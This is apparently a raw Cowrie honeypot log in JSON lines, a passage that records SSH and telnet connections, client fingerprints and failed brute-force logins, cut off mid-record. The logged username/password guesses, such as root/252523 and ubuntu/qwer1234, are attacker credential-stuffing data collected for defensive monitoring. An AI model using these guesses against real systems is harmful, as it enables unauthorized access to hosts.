{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:38.732845Z","src_ip":"170.106.188.200","session":"45a38d9bf678","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"252523","message":"login attempt [root/252523] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:39.037456Z","src_ip":"170.106.188.200","session":"45a38d9bf678","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:40.108777Z","src_ip":"170.106.188.200","session":"45a38d9bf678","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":54076,"dst_ip":"10.17.0.5","dst_port":22,"session":"62bac1962032","protocol":"ssh","message":"New connection: 103.153.68.219:54076 (10.17.0.5:22) [session: 62bac1962032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:51.151110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:51.155944Z","src_ip":"103.153.68.219","session":"62bac1962032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:51.404360Z","src_ip":"103.153.68.219","session":"62bac1962032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"koroleva","message":"login attempt [root/koroleva] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:52.138433Z","src_ip":"103.153.68.219","session":"62bac1962032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:53.387101Z","src_ip":"103.153.68.219","session":"62bac1962032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":55126,"dst_ip":"159.203.135.109","dst_port":22,"session":"25123a7447de","protocol":"ssh","message":"New connection: 80.94.92.184:55126 (159.203.135.109:22) [session: 25123a7447de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:59.286692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:59.478632Z","src_ip":"80.94.92.184","session":"25123a7447de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:05:59.482704Z","src_ip":"80.94.92.184","session":"25123a7447de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwer1234","message":"login attempt [ubuntu/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:06:00.767474Z","src_ip":"80.94.92.184","session":"25123a7447de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:06:01.986672Z","src_ip":"80.94.92.184","session":"25123a7447de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.75172424316406,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:06:06.842982Z","src_ip":"192.119.13.58","session":"bb5bccc2b578","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00190138816833,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:06:37.318755Z","src_ip":"186.195.16.41","session":"53ad5d0918fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":42808,"dst_ip":"159.203.135.109","dst_port":22,"session":"467505b42410","protocol":"ssh","message":"New connection: 69.6.234.27:42808 (159.203.135.109:22) [session: 467505b42410]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:06:38.192727Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:06:38.197333Z","src_ip":"69.6.234.27","session":"467505b42410","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:06:38.270553Z","src_ip":"69.6.234.27","session":"467505b42410","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@dm1n1str@t0r","message":"login attempt [root/@dm1n1str@t0r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:06:38.595234Z","src_ip":"69.6.234.27","session":"467505b42410","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:06:39.671614Z","src_ip":"69.6.234.27","session":"467505b42410","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":43742,"dst_ip":"159.203.135.109","dst_port":22,"session":"05f66b2003fe","protocol":"ssh","message":"New connection: 43.156.2.226:43742 (159.203.135.109:22) [session: 05f66b2003fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:06:52.660225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:06:52.664753Z","src_ip":"43.156.2.226","session":"05f66b2003fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":40034,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3a38b112bdb","protocol":"ssh","message":"New connection: 103.122.221.179:40034 (10.17.0.5:22) [session: e3a38b112bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:06:52.725587Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:06:52.732016Z","src_ip":"103.122.221.179","session":"e3a38b112bdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:06:52.902433Z","src_ip":"43.156.2.226","session":"05f66b2003fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:06:53.000572Z","src_ip":"103.122.221.179","session":"e3a38b112bdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"amanda","message":"login attempt [root/amanda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:06:53.799282Z","src_ip":"103.122.221.179","session":"e3a38b112bdb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhou","password":"zhou","message":"login attempt [zhou/zhou] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:06:53.885475Z","src_ip":"43.156.2.226","session":"05f66b2003fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:06:55.068561Z","src_ip":"103.122.221.179","session":"e3a38b112bdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:06:55.126115Z","src_ip":"43.156.2.226","session":"05f66b2003fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.234.27","src_port":55758,"dst_ip":"159.203.135.109","dst_port":22,"session":"8590ce505832","protocol":"ssh","message":"New connection: 69.6.234.27:55758 (159.203.135.109:22) [session: 8590ce505832]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:08:06.760020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:08:06.764644Z","src_ip":"69.6.234.27","session":"8590ce505832","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:08:06.837885Z","src_ip":"69.6.234.27","session":"8590ce505832","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"password","message":"login attempt [debian/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:08:07.163227Z","src_ip":"69.6.234.27","session":"8590ce505832","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:08:08.239825Z","src_ip":"69.6.234.27","session":"8590ce505832","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.2.226","src_port":48246,"dst_ip":"159.203.135.109","dst_port":22,"session":"266afa68e4b8","protocol":"ssh","message":"New connection: 43.156.2.226:48246 (159.203.135.109:22) [session: 266afa68e4b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:08:23.841589Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:08:23.845956Z","src_ip":"43.156.2.226","session":"266afa68e4b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:08:24.076502Z","src_ip":"43.156.2.226","session":"266afa68e4b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q1w2e3r4@","message":"login attempt [root/Q1w2e3r4@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:08:25.029714Z","src_ip":"43.156.2.226","session":"266afa68e4b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:08:26.263661Z","src_ip":"43.156.2.226","session":"266afa68e4b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":46278,"dst_ip":"159.203.135.109","dst_port":22,"session":"632ae319d187","protocol":"ssh","message":"New connection: 213.209.159.56:46278 (159.203.135.109:22) [session: 632ae319d187]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:08:54.527860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:08:54.532449Z","src_ip":"213.209.159.56","session":"632ae319d187","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH 